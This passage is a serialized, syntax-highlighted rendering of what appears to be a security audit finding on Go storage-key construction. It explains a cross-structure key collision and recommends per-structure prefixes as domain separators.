Seperator",{"type":25,"tag":201,"props":87813,"children":87814},{"style":220},[87815],{"type":31,"value":547},{"type":25,"tag":201,"props":87817,"children":87818},{"class":203,"line":715},[87819,87824],{"type":25,"tag":201,"props":87820,"children":87821},{"style":246},[87822],{"type":31,"value":87823},"        usernameEncoded",{"type":25,"tag":201,"props":87825,"children":87826},{"style":220},[87827],{"type":31,"value":547},{"type":25,"tag":201,"props":87829,"children":87830},{"class":203,"line":732},[87831,87835],{"type":25,"tag":201,"props":87832,"children":87833},{"style":246},[87834],{"type":31,"value":87811},{"type":25,"tag":201,"props":87836,"children":87837},{"style":220},[87838],{"type":31,"value":547},{"type":25,"tag":201,"props":87840,"children":87841},{"class":203,"line":749},[87842,87847],{"type":25,"tag":201,"props":87843,"children":87844},{"style":246},[87845],{"type":31,"value":87846},"        positionNameEncoded",{"type":25,"tag":201,"props":87848,"children":87849},{"style":220},[87850],{"type":31,"value":547},{"type":25,"tag":201,"props":87852,"children":87853},{"class":203,"line":757},[87854],{"type":25,"tag":201,"props":87855,"children":87856},{"style":220},[87857],{"type":31,"value":25405},{"type":25,"tag":201,"props":87859,"children":87860},{"class":203,"line":765},[87861],{"type":25,"tag":201,"props":87862,"children":87863},{"style":220},[87864],{"type":31,"value":1187},{"type":25,"tag":201,"props":87866,"children":87867},{"class":203,"line":783},[87868],{"type":25,"tag":201,"props":87869,"children":87870},{"emptyLinePlaceholder":17},[87871],{"type":31,"value":496},{"type":25,"tag":201,"props":87873,"children":87874},{"class":203,"line":792},[87875],{"type":25,"tag":201,"props":87876,"children":87877},{"emptyLinePlaceholder":17},[87878],{"type":31,"value":496},{"type":25,"tag":201,"props":87880,"children":87881},{"class":203,"line":801},[87882,87886,87891],{"type":25,"tag":201,"props":87883,"children":87884},{"style":208},[87885],{"type":31,"value":77384},{"type":25,"tag":201,"props":87887,"children":87888},{"style":214},[87889],{"type":31,"value":87890}," AddressMapKey",{"type":25,"tag":201,"props":87892,"children":87893},{"style":220},[87894],{"type":31,"value":4970},{"type":25,"tag":201,"props":87896,"children":87897},{"class":203,"line":809},[87898,87902,87906],{"type":25,"tag":201,"props":87899,"children":87900},{"style":246},[87901],{"type":31,"value":86331},{"type":25,"tag":201,"props":87903,"children":87904},{"style":4925},[87905],{"type":31,"value":77505},{"type":25,"tag":201,"props":87907,"children":87908},{"style":220},[87909],{"type":31,"value":547},{"type":25,"tag":201,"props":87911,"children":87912},{"class":203,"line":857},[87913,87917,87921,87926,87930],{"type":25,"tag":201,"props":87914,"children":87915},{"style":246},[87916],{"type":31,"value":86343},{"type":25,"tag":201,"props":87918,"children":87919},{"style":220},[87920],{"type":31,"value":919},{"type":25,"tag":201,"props":87922,"children":87923},{"style":246},[87924],{"type":31,"value":87925},"addressName",{"type":25,"tag":201,"props":87927,"children":87928},{"style":220},[87929],{"type":31,"value":77311},{"type":25,"tag":201,"props":87931,"children":87932},{"style":4925},[87933],{"type":31,"value":85312},{"type":25,"tag":201,"props":87935,"children":87936},{"class":203,"line":865},[87937,87941,87945,87949,87953],{"type":25,"tag":201,"props":87938,"children":87939},{"style":220},[87940],{"type":31,"value":77466},{"type":25,"tag":201,"props":87942,"children":87943},{"style":246},[87944],{"type":31,"value":73238},{"type":25,"tag":201,"props":87946,"children":87947},{"style":220},[87948],{"type":31,"value":77311},{"type":25,"tag":201,"props":87950,"children":87951},{"style":4925},[87952],{"type":31,"value":85849},{"type":25,"tag":201,"props":87954,"children":87955},{"style":220},[87956],{"type":31,"value":275},{"type":25,"tag":201,"props":87958,"children":87959},{"class":203,"line":931},[87960,87964,87968,87972],{"type":25,"tag":201,"props":87961,"children":87962},{"style":246},[87963],{"type":31,"value":86945},{"type":25,"tag":201,"props":87965,"children":87966},{"style":261},[87967],{"type":31,"value":77500},{"type":25,"tag":201,"props":87969,"children":87970},{"style":214},[87971],{"type":31,"value":86648},{"type":25,"tag":201,"props":87973,"children":87974},{"style":220},[87975],{"type":31,"value":4970},{"type":25,"tag":201,"props":87977,"children":87978},{"class":203,"line":939},[87979,87983,87987],{"type":25,"tag":201,"props":87980,"children":87981},{"style":220},[87982],{"type":31,"value":87539},{"type":25,"tag":201,"props":87984,"children":87985},{"style":4925},[87986],{"type":31,"value":85849},{"type":25,"tag":201,"props":87988,"children":87989},{"style":220},[87990],{"type":31,"value":547},{"type":25,"tag":201,"props":87992,"children":87993},{"class":203,"line":960},[87994,87998,88002,88006,88010,88014,88018,88022],{"type":25,"tag":201,"props":87995,"children":87996},{"style":246},[87997],{"type":31,"value":87555},{"type":25,"tag":201,"props":87999,"children":88000},{"style":220},[88001],{"type":31,"value":80},{"type":25,"tag":201,"props":88003,"children":88004},{"style":214},[88005],{"type":31,"value":86685},{"type":25,"tag":201,"props":88007,"children":88008},{"style":220},[88009],{"type":31,"value":298},{"type":25,"tag":201,"props":88011,"children":88012},{"style":214},[88013],{"type":31,"value":10643},{"type":25,"tag":201,"props":88015,"children":88016},{"style":220},[88017],{"type":31,"value":298},{"type":25,"tag":201,"props":88019,"children":88020},{"style":246},[88021],{"type":31,"value":86555},{"type":25,"tag":201,"props":88023,"children":88024},{"style":220},[88025],{"type":31,"value":86706},{"type":25,"tag":201,"props":88027,"children":88028},{"class":203,"line":977},[88029],{"type":25,"tag":201,"props":88030,"children":88031},{"style":220},[88032],{"type":31,"value":25405},{"type":25,"tag":201,"props":88034,"children":88035},{"class":203,"line":994},[88036,88040,88044,88048,88052,88056,88060,88064],{"type":25,"tag":201,"props":88037,"children":88038},{"style":246},[88039],{"type":31,"value":86676},{"type":25,"tag":201,"props":88041,"children":88042},{"style":220},[88043],{"type":31,"value":80},{"type":25,"tag":201,"props":88045,"children":88046},{"style":214},[88047],{"type":31,"value":86730},{"type":25,"tag":201,"props":88049,"children":88050},{"style":220},[88051],{"type":31,"value":298},{"type":25,"tag":201,"props":88053,"children":88054},{"style":246},[88055],{"type":31,"value":86639},{"type":25,"tag":201,"props":88057,"children":88058},{"style":220},[88059],{"type":31,"value":919},{"type":25,"tag":201,"props":88061,"children":88062},{"style":246},[88063],{"type":31,"value":86555},{"type":25,"tag":201,"props":88065,"children":88066},{"style":220},[88067],{"type":31,"value":4666},{"type":25,"tag":201,"props":88069,"children":88070},{"class":203,"line":1016},[88071],{"type":25,"tag":201,"props":88072,"children":88073},{"emptyLinePlaceholder":17},[88074],{"type":31,"value":496},{"type":25,"tag":201,"props":88076,"children":88077},{"class":203,"line":1089},[88078,88083,88087,88091],{"type":25,"tag":201,"props":88079,"children":88080},{"style":246},[88081],{"type":31,"value":88082},"    addressNameEncoded",{"type":25,"tag":201,"props":88084,"children":88085},{"style":261},[88086],{"type":31,"value":77500},{"type":25,"tag":201,"props":88088,"children":88089},{"style":214},[88090],{"type":31,"value":86648},{"type":25,"tag":201,"props":88092,"children":88093},{"style":220},[88094],{"type":31,"value":4970},{"type":25,"tag":201,"props":88096,"children":88097},{"class":203,"line":1107},[88098,88102,88106],{"type":25,"tag":201,"props":88099,"children":88100},{"style":220},[88101],{"type":31,"value":87539},{"type":25,"tag":201,"props":88103,"children":88104},{"style":4925},[88105],{"type":31,"value":85849},{"type":25,"tag":201,"props":88107,"children":88108},{"style":220},[88109],{"type":31,"value":547},{"type":25,"tag":201,"props":88111,"children":88112},{"class":203,"line":1116},[88113,88117,88121,88125,88129,88133,88137,88141],{"type":25,"tag":201,"props":88114,"children":88115},{"style":246},[88116],{"type":31,"value":87555},{"type":25,"tag":201,"props":88118,"children":88119},{"style":220},[88120],{"type":31,"value":80},{"type":25,"tag":201,"props":88122,"children":88123},{"style":214},[88124],{"type":31,"value":86685},{"type":25,"tag":201,"props":88126,"children":88127},{"style":220},[88128],{"type":31,"value":298},{"type":25,"tag":201,"props":88130,"children":88131},{"style":214},[88132],{"type":31,"value":10643},{"type":25,"tag":201,"props":88134,"children":88135},{"style":220},[88136],{"type":31,"value":298},{"type":25,"tag":201,"props":88138,"children":88139},{"style":246},[88140],{"type":31,"value":87925},{"type":25,"tag":201,"props":88142,"children":88143},{"style":220},[88144],{"type":31,"value":86706},{"type":25,"tag":201,"props":88146,"children":88147},{"class":203,"line":1124},[88148],{"type":25,"tag":201,"props":88149,"children":88150},{"style":220},[88151],{"type":31,"value":25405},{"type":25,"tag":201,"props":88153,"children":88154},{"class":203,"line":1163},[88155,88159,88163,88167,88171,88176,88180,88184],{"type":25,"tag":201,"props":88156,"children":88157},{"style":246},[88158],{"type":31,"value":86676},{"type":25,"tag":201,"props":88160,"children":88161},{"style":220},[88162],{"type":31,"value":80},{"type":25,"tag":201,"props":88164,"children":88165},{"style":214},[88166],{"type":31,"value":86730},{"type":25,"tag":201,"props":88168,"children":88169},{"style":220},[88170],{"type":31,"value":298},{"type":25,"tag":201,"props":88172,"children":88173},{"style":246},[88174],{"type":31,"value":88175},"addressNameEncoded",{"type":25,"tag":201,"props":88177,"children":88178},{"style":220},[88179],{"type":31,"value":919},{"type":25,"tag":201,"props":88181,"children":88182},{"style":246},[88183],{"type":31,"value":87925},{"type":25,"tag":201,"props":88185,"children":88186},{"style":220},[88187],{"type":31,"value":4666},{"type":25,"tag":201,"props":88189,"children":88190},{"class":203,"line":1172},[88191],{"type":25,"tag":201,"props":88192,"children":88193},{"emptyLinePlaceholder":17},[88194],{"type":31,"value":496},{"type":25,"tag":201,"props":88196,"children":88197},{"class":203,"line":1181},[88198,88202,88206,88210,88214,88218],{"type":25,"tag":201,"props":88199,"children":88200},{"style":246},[88201],{"type":31,"value":87759},{"type":25,"tag":201,"props":88203,"children":88204},{"style":261},[88205],{"type":31,"value":77500},{"type":25,"tag":201,"props":88207,"children":88208},{"style":246},[88209],{"type":31,"value":83318},{"type":25,"tag":201,"props":88211,"children":88212},{"style":220},[88213],{"type":31,"value":80},{"type":25,"tag":201,"props":88215,"children":88216},{"style":214},[88217],{"type":31,"value":86307},{"type":25,"tag":201,"props":88219,"children":88220},{"style":220},[88221],{"type":31,"value":4970},{"type":25,"tag":201,"props":88223,"children":88224},{"class":203,"line":1190},[88225,88229],{"type":25,"tag":201,"props":88226,"children":88227},{"style":267},[88228],{"type":31,"value":87787},{"type":25,"tag":201,"props":88230,"children":88231},{"style":220},[88232],{"type":31,"value":547},{"type":25,"tag":201,"props":88234,"children":88235},{"class":203,"line":1198},[88236,88240],{"type":25,"tag":201,"props":88237,"children":88238},{"style":246},[88239],{"type":31,"value":87799},{"type":25,"tag":201,"props":88241,"children":88242},{"style":220},[88243],{"type":31,"value":547},{"type":25,"tag":201,"props":88245,"children":88246},{"class":203,"line":1220},[88247,88251],{"type":25,"tag":201,"props":88248,"children":88249},{"style":246},[88250],{"type":31,"value":87811},{"type":25,"tag":201,"props":88252,"children":88253},{"style":220},[88254],{"type":31,"value":547},{"type":25,"tag":201,"props":88256,"children":88257},{"class":203,"line":82035},[88258,88262],{"type":25,"tag":201,"props":88259,"children":88260},{"style":246},[88261],{"type":31,"value":87823},{"type":25,"tag":201,"props":88263,"children":88264},{"style":220},[88265],{"type":31,"value":547},{"type":25,"tag":201,"props":88267,"children":88268},{"class":203,"line":82048},[88269,88273],{"type":25,"tag":201,"props":88270,"children":88271},{"style":246},[88272],{"type":31,"value":87811},{"type":25,"tag":201,"props":88274,"children":88275},{"style":220},[88276],{"type":31,"value":547},{"type":25,"tag":201,"props":88278,"children":88279},{"class":203,"line":82056},[88280,88285],{"type":25,"tag":201,"props":88281,"children":88282},{"style":246},[88283],{"type":31,"value":88284},"        addressNameEncoded",{"type":25,"tag":201,"props":88286,"children":88287},{"style":220},[88288],{"type":31,"value":547},{"type":25,"tag":201,"props":88290,"children":88291},{"class":203,"line":82064},[88292],{"type":25,"tag":201,"props":88293,"children":88294},{"style":220},[88295],{"type":31,"value":25405},{"type":25,"tag":201,"props":88297,"children":88298},{"class":203,"line":82072},[88299],{"type":25,"tag":201,"props":88300,"children":88301},{"style":220},[88302],{"type":31,"value":1187},{"type":25,"tag":34,"props":88304,"children":88305},{},[88306,88308,88313],{"type":31,"value":88307},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":25,"tag":115,"props":88309,"children":88311},{"className":88310},[],[88312],{"type":31,"value":86061},{"type":31,"value":88314},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":25,"tag":191,"props":88316,"children":88318},{"code":88317},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[88319],{"type":25,"tag":115,"props":88320,"children":88321},{"__ignoreMap":7},[88322],{"type":31,"value":88317},{"type":25,"tag":34,"props":88324,"children":88325},{},[88326],{"type":31,"value":88327},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":25,"tag":191,"props":88329,"children":88331},{"code":88330,"language":77248,"meta":7,"className":77249,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88332],{"type":25,"tag":115,"props":88333,"children":88334},{"__ignoreMap":7},[88335,88346,88361,88388,88413,88420,88427,88434,88449,88464,88491,88514,88533,88548,88583,88590,88625,88632,88651,88666,88701,88708,88743,88750,88777,88789,88801,88812,88823,88834,88845,88856,88863,88870,88877,88884,88899,88914,88941,88964,88983,88998,89033,89040,89075,89082,89101,89116,89151,89158,89193,89200,89227,89238,89250,89261,89272,89283,89294,89305,89313],{"type":25,"tag":201,"props":88336,"children":88337},{"class":203,"line":204},[88338,88342],{"type":25,"tag":201,"props":88339,"children":88340},{"style":208},[88341],{"type":31,"value":4074},{"type":25,"tag":201,"props":88343,"children":88344},{"style":220},[88345],{"type":31,"value":79650},{"type":25,"tag":201,"props":88347,"children":88348},{"class":203,"line":226},[88349,88353,88357],{"type":25,"tag":201,"props":88350,"children":88351},{"style":246},[88352],{"type":31,"value":86415},{"type":25,"tag":201,"props":88354,"children":88355},{"style":261},[88356],{"type":31,"value":413},{"type":25,"tag":201,"props":88358,"children":88359},{"style":267},[88360],{"type":31,"value":86424},{"type":25,"tag":201,"props":88362,"children":88363},{"class":203,"line":278},[88364,88369,88373,88378,88383],{"type":25,"tag":201,"props":88365,"children":88366},{"style":246},[88367],{"type":31,"value":88368},"    PositionMapPrefix",{"type":25,"tag":201,"props":88370,"children":88371},{"style":261},[88372],{"type":31,"value":413},{"type":25,"tag":201,"props":88374,"children":88375},{"style":267},[88376],{"type":31,"value":88377}," \"",{"type":25,"tag":201,"props":88379,"children":88380},{"style":49450},[88381],{"type":31,"value":88382},"\\x01",{"type":25,"tag":201,"props":88384,"children":88385},{"style":267},[88386],{"type":31,"value":88387},"\"\n",{"type":25,"tag":201,"props":88389,"children":88390},{"class":203,"line":311},[88391,88396,88400,88404,88409],{"type":25,"tag":201,"props":88392,"children":88393},{"style":246},[88394],{"type":31,"value":88395},"    AddressMapPrefix",{"type":25,"tag":201,"props":88397,"children":88398},{"style":261},[88399],{"type":31,"value":413},{"type":25,"tag":201,"props":88401,"children":88402},{"style":267},[88403],{"type":31,"value":88377},{"type":25,"tag":201,"props":88405,"children":88406},{"style":49450},[88407],{"type":31,"value":88408},"\\x02",{"type":25,"tag":201,"props":88410,"children":88411},{"style":267},[88412],{"type":31,"value":88387},{"type":25,"tag":201,"props":88414,"children":88415},{"class":203,"line":330},[88416],{"type":25,"tag":201,"props":88417,"children":88418},{"style":220},[88419],{"type":31,"value":4666},{"type":25,"tag":201,"props":88421,"children":88422},{"class":203,"line":397},[88423],{"type":25,"tag":201,"props":88424,"children":88425},{"emptyLinePlaceholder":17},[88426],{"type":31,"value":496},{"type":25,"tag":201,"props":88428,"children":88429},{"class":203,"line":437},[88430],{"type":25,"tag":201,"props":88431,"children":88432},{"emptyLinePlaceholder":17},[88433],{"type":31,"value":496},{"type":25,"tag":201,"props":88435,"children":88436},{"class":203,"line":464},[88437,88441,88445],{"type":25,"tag":201,"props":88438,"children":88439},{"style":208},[88440],{"type":31,"value":77384},{"type":25,"tag":201,"props":88442,"children":88443},{"style":214},[88444],{"type":31,"value":87443},{"type":25,"tag":201,"props":88446,"children":88447},{"style":220},[88448],{"type":31,"value":4970},{"type":25,"tag":201,"props":88450,"children":88451},{"class":203,"line":490},[88452,88456,88460],{"type":25,"tag":201,"props":88453,"children":88454},{"style":246},[88455],{"type":31,"value":86331},{"type":25,"tag":201,"props":88457,"children":88458},{"style":4925},[88459],{"type":31,"value":77505},{"type":25,"tag":201,"props":88461,"children":88462},{"style":220},[88463],{"type":31,"value":547},{"type":25,"tag":201,"props":88465,"children":88466},{"class":203,"line":499},[88467,88471,88475,88479,88483,88487],{"type":25,"tag":201,"props":88468,"children":88469},{"style":246},[88470],{"type":31,"value":86343},{"type":25,"tag":201,"props":88472,"children":88473},{"style":220},[88474],{"type":31,"value":919},{"type":25,"tag":201,"props":88476,"children":88477},{"style":246},[88478],{"type":31,"value":86824},{"type":25,"tag":201,"props":88480,"children":88481},{"style":220},[88482],{"type":31,"value":77311},{"type":25,"tag":201,"props":88484,"children":88485},{"style":4925},[88486],{"type":31,"value":85849},{"type":25,"tag":201,"props":88488,"children":88489},{"style":220},[88490],{"type":31,"value":547},{"type":25,"tag":201,"props":88492,"children":88493},{"class":203,"line":522},[88494,88498,88502,88506,88510],{"type":25,"tag":201,"props":88495,"children":88496},{"style":220},[88497],{"type":31,"value":77466},{"type":25,"tag":201,"props":88499,"children":88500},{"style":246},[88501],{"type":31,"value":73238},{"type":25,"tag":201,"props":88503,"children":88504},{"style":220},[88505],{"type":31,"value":77311},{"type":25,"tag":201,"props":88507,"children":88508},{"style":4925},[88509],{"type":31,"value":85849},{"type":25,"tag":201,"props":88511,"children":88512},{"style":220},[88513],{"type":31,"value":275},{"type":25,"tag":201,"props":88515,"children":88516},{"class":203,"line":531},[88517,88521,88525,88529],{"type":25,"tag":201,"props":88518,"children":88519},{"style":246},[88520],{"type":31,"value":86945},{"type":25,"tag":201,"props":88522,"children":88523},{"style":261},[88524],{"type":31,"value":77500},{"type":25,"tag":201,"props":88526,"children":88527},{"style":214},[88528],{"type":31,"value":86648},{"type":25,"tag":201,"props":88530,"children":88531},{"style":220},[88532],{"type":31,"value":4970},{"type":25,"tag":201,"props":88534,"children":88535},{"class":203,"line":550},[88536,88540,88544],{"type":25,"tag":201,"props":88537,"children":88538},{"style":220},[88539],{"type":31,"value":87539},{"type":25,"tag":201,"props":88541,"children":88542},{"style":4925},[88543],{"type":31,"value":85849},{"type":25,"tag":201,"props":88545,"children":88546},{"style":220},[88547],{"type":31,"value":547},{"type":25,"tag":201,"props":88549,"children":88550},{"class":203,"line":563},[88551,88555,88559,88563,88567,88571,88575,88579],{"type":25,"tag":201,"props":88552,"children":88553},{"style":246},[88554],{"type":31,"value":87555},{"type":25,"tag":201,"props":88556,"children":88557},{"style":220},[88558],{"type":31,"value":80},{"type":25,"tag":201,"props":88560,"children":88561},{"style":214},[88562],{"type":31,"value":86685},{"type":25,"tag":201,"props":88564,"children":88565},{"style":220},[88566],{"type":31,"value":298},{"type":25,"tag":201,"props":88568,"children":88569},{"style":214},[88570],{"type":31,"value":10643},{"type":25,"tag":201,"props":88572,"children":88573},{"style":220},[88574],{"type":31,"value":298},{"type":25,"tag":201,"props":88576,"children":88577},{"style":246},[88578],{"type":31,"value":86555},{"type":25,"tag":201,"props":88580,"children":88581},{"style":220},[88582],{"type":31,"value":86706},{"type":25,"tag":201,"props":88584,"children":88585},{"class":203,"line":572},[88586],{"type":25,"tag":201,"props":88587,"children":88588},{"style":220},[88589],{"type":31,"value":25405},{"type":25,"tag":201,"props":88591,"children":88592},{"class":203,"line":590},[88593,88597,88601,88605,88609,88613,88617,88621],{"type":25,"tag":201,"props":88594,"children":88595},{"style":246},[88596],{"type":31,"value":86676},{"type":25,"tag":201,"props":88598,"children":88599},{"style":220},[88600],{"type":31,"value":80},{"type":25,"tag":201,"props":88602,"children":88603},{"style":214},[88604],{"type":31,"value":86730},{"type":25,"tag":201,"props":88606,"children":88607},{"style":220},[88608],{"type":31,"value":298},{"type":25,"tag":201,"props":88610,"children":88611},{"style":246},[88612],{"type":31,"value":86639},{"type":25,"tag":201,"props":88614,"children":88615},{"style":220},[88616],{"type":31,"value":919},{"type":25,"tag":201,"props":88618,"children":88619},{"style":246},[88620],{"type":31,"value":86555},{"type":25,"tag":201,"props":88622,"children":88623},{"style":220},[88624],{"type":31,"value":4666},{"type":25,"tag":201,"props":88626,"children":88627},{"class":203,"line":608},[88628],{"type":25,"tag":201,"props":88629,"children":88630},{"emptyLinePlaceholder":17},[88631],{"type":31,"value":496},{"type":25,"tag":201,"props":88633,"children":88634},{"class":203,"line":617},[88635,88639,88643,88647],{"type":25,"tag":201,"props":88636,"children":88637},{"style":246},[88638],{"type":31,"value":87640},{"type":25,"tag":201,"props":88640,"children":88641},{"style":261},[88642],{"type":31,"value":77500},{"type":25,"tag":201,"props":88644,"children":88645},{"style":214},[88646],{"type":31,"value":86648},{"type":25,"tag":201,"props":88648,"children":88649},{"style":220},[88650],{"type":31,"value":4970},{"type":25,"tag":201,"props":88652,"children":88653},{"class":203,"line":625},[88654,88658,88662],{"type":25,"tag":201,"props":88655,"children":88656},{"style":220},[88657],{"type":31,"value":87539},{"type":25,"tag":201,"props":88659,"children":88660},{"style":4925},[88661],{"type":31,"value":85849},{"type":25,"tag":201,"props":88663,"children":88664},{"style":220},[88665],{"type":31,"value":547},{"type":25,"tag":201,"props":88667,"children":88668},{"class":203,"line":642},[88669,88673,88677,88681,88685,88689,88693,88697],{"type":25,"tag":201,"props":88670,"children":88671},{"style":246},[88672],{"type":31,"value":87555},{"type":25,"tag":201,"props":88674,"children":88675},{"style":220},[88676],{"type":31,"value":80},{"type":25,"tag":201,"props":88678,"children":88679},{"style":214},[88680],{"type":31,"value":86685},{"type":25,"tag":201,"props":88682,"children":88683},{"style":220},[88684],{"type":31,"value":298},{"type":25,"tag":201,"props":88686,"children":88687},{"style":214},[88688],{"type":31,"value":10643},{"type":25,"tag":201,"props":88690,"children":88691},{"style":220},[88692],{"type":31,"value":298},{"type":25,"tag":201,"props":88694,"children":88695},{"style":246},[88696],{"type":31,"value":86824},{"type":25,"tag":201,"props":88698,"children":88699},{"style":220},[88700],{"type":31,"value":86706},{"type":25,"tag":201,"props":88702,"children":88703},{"class":203,"line":659},[88704],{"type":25,"tag":201,"props":88705,"children":88706},{"style":220},[88707],{"type":31,"value":25405},{"type":25,"tag":201,"props":88709,"children":88710},{"class":203,"line":667},[88711,88715,88719,88723,88727,88731,88735,88739],{"type":25,"tag":201,"props":88712,"children":88713},{"style":246},[88714],{"type":31,"value":86676},{"type":25,"tag":201,"props":88716,"children":88717},{"style":220},[88718],{"type":31,"value":80},{"type":25,"tag":201,"props":88720,"children":88721},{"style":214},[88722],{"type":31,"value":86730},{"type":25,"tag":201,"props":88724,"children":88725},{"style":220},[88726],{"type":31,"value":298},{"type":25,"tag":201,"props":88728,"children":88729},{"style":246},[88730],{"type":31,"value":86765},{"type":25,"tag":201,"props":88732,"children":88733},{"style":220},[88734],{"type":31,"value":919},{"type":25,"tag":201,"props":88736,"children":88737},{"style":246},[88738],{"type":31,"value":86824},{"type":25,"tag":201,"props":88740,"children":88741},{"style":220},[88742],{"type":31,"value":4666},{"type":25,"tag":201,"props":88744,"children":88745},{"class":203,"line":676},[88746],{"type":25,"tag":201,"props":88747,"children":88748},{"emptyLinePlaceholder":17},[88749],{"type":31,"value":496},{"type":25,"tag":201,"props":88751,"children":88752},{"class":203,"line":694},[88753,88757,88761,88765,88769,88773],{"type":25,"tag":201,"props":88754,"children":88755},{"style":246},[88756],{"type":31,"value":87759},{"type":25,"tag":201,"props":88758,"children":88759},{"style":261},[88760],{"type":31,"value":77500},{"type":25,"tag":201,"props":88762,"children":88763},{"style":246},[88764],{"type":31,"value":83318},{"type":25,"tag":201,"props":88766,"children":88767},{"style":220},[88768],{"type":31,"value":80},{"type":25,"tag":201,"props":88770,"children":88771},{"style":214},[88772],{"type":31,"value":86307},{"type":25,"tag":201,"props":88774,"children":88775},{"style":220},[88776],{"type":31,"value":4970},{"type":25,"tag":201,"props":88778,"children":88779},{"class":203,"line":707},[88780,88785],{"type":25,"tag":201,"props":88781,"children":88782},{"style":267},[88783],{"type":31,"value":88784},"        \"%s%d%s%s%s%s\"",{"type":25,"tag":201,"props":88786,"children":88787},{"style":220},[88788],{"type":31,"value":547},{"type":25,"tag":201,"props":88790,"children":88791},{"class":203,"line":715},[88792,88797],{"type":25,"tag":201,"props":88793,"children":88794},{"style":246},[88795],{"type":31,"value":88796},"        PositionMapPrefix",{"type":25,"tag":201,"props":88798,"children":88799},{"style":220},[88800],{"type":31,"value":547},{"type":25,"tag":201,"props":88802,"children":88803},{"class":203,"line":732},[88804,88808],{"type":25,"tag":201,"props":88805,"children":88806},{"style":246},[88807],{"type":31,"value":87799},{"type":25,"tag":201,"props":88809,"children":88810},{"style":220},[88811],{"type":31,"value":547},{"type":25,"tag":201,"props":88813,"children":88814},{"class":203,"line":749},[88815,88819],{"type":25,"tag":201,"props":88816,"children":88817},{"style":246},[88818],{"type":31,"value":87811},{"type":25,"tag":201,"props":88820,"children":88821},{"style":220},[88822],{"type":31,"value":547},{"type":25,"tag":201,"props":88824,"children":88825},{"class":203,"line":757},[88826,88830],{"type":25,"tag":201,"props":88827,"children":88828},{"style":246},[88829],{"type":31,"value":87823},{"type":25,"tag":201,"props":88831,"children":88832},{"style":220},[88833],{"type":31,"value":547},{"type":25,"tag":201,"props":88835,"children":88836},{"class":203,"line":765},[88837,88841],{"type":25,"tag":201,"props":88838,"children":88839},{"style":246},[88840],{"type":31,"value":87811},{"type":25,"tag":201,"props":88842,"children":88843},{"style":220},[88844],{"type":31,"value":547},{"type":25,"tag":201,"props":88846,"children":88847},{"class":203,"line":783},[88848,88852],{"type":25,"tag":201,"props":88849,"children":88850},{"style":246},[88851],{"type":31,"value":87846},{"type":25,"tag":201,"props":88853,"children":88854},{"style":220},[88855],{"type":31,"value":547},{"type":25,"tag":201,"props":88857,"children":88858},{"class":203,"line":792},[88859],{"type":25,"tag":201,"props":88860,"children":88861},{"style":220},[88862],{"type":31,"value":25405},{"type":25,"tag":201,"props":88864,"children":88865},{"class":203,"line":801},[88866],{"type":25,"tag":201,"props":88867,"children":88868},{"style":220},[88869],{"type":31,"value":1187},{"type":25,"tag":201,"props":88871,"children":88872},{"class":203,"line":809},[88873],{"type":25,"tag":201,"props":88874,"children":88875},{"emptyLinePlaceholder":17},[88876],{"type":31,"value":496},{"type":25,"tag":201,"props":88878,"children":88879},{"class":203,"line":857},[88880],{"type":25,"tag":201,"props":88881,"children":88882},{"emptyLinePlaceholder":17},[88883],{"type":31,"value":496},{"type":25,"tag":201,"props":88885,"children":88886},{"class":203,"line":865},[88887,88891,88895],{"type":25,"tag":201,"props":88888,"children":88889},{"style":208},[88890],{"type":31,"value":77384},{"type":25,"tag":201,"props":88892,"children":88893},{"style":214},[88894],{"type":31,"value":87890},{"type":25,"tag":201,"props":88896,"children":88897},{"style":220},[88898],{"type":31,"value":4970},{"type":25,"tag":201,"props":88900,"children":88901},{"class":203,"line":931},[88902,88906,88910],{"type":25,"tag":201,"props":88903,"children":88904},{"style":246},[88905],{"type":31,"value":86331},{"type":25,"tag":201,"props":88907,"children":88908},{"style":4925},[88909],{"type":31,"value":77505},{"type":25,"tag":201,"props":88911,"children":88912},{"style":220},[88913],{"type":31,"value":547},{"type":25,"tag":201,"props":88915,"children":88916},{"class":203,"line":939},[88917,88921,88925,88929,88933,88937],{"type":25,"tag":201,"props":88918,"children":88919},{"style":246},[88920],{"type":31,"value":86343},{"type":25,"tag":201,"props":88922,"children":88923},{"style":220},[88924],{"type":31,"value":919},{"type":25,"tag":201,"props":88926,"children":88927},{"style":246},[88928],{"type":31,"value":87925},{"type":25,"tag":201,"props":88930,"children":88931},{"style":220},[88932],{"type":31,"value":77311},{"type":25,"tag":201,"props":88934,"children":88935},{"style":4925},[88936],{"type":31,"value":85849},{"type":25,"tag":201,"props":88938,"children":88939},{"style":220},[88940],{"type":31,"value":547},{"type":25,"tag":201,"props":88942,"children":88943},{"class":203,"line":960},[88944,88948,88952,88956,88960],{"type":25,"tag":201,"props":88945,"children":88946},{"style":220},[88947],{"type":31,"value":77466},{"type":25,"tag":201,"props":88949,"children":88950},{"style":246},[88951],{"type":31,"value":73238},{"type":25,"tag":201,"props":88953,"children":88954},{"style":220},[88955],{"type":31,"value":77311},{"type":25,"tag":201,"props":88957,"children":88958},{"style":4925},[88959],{"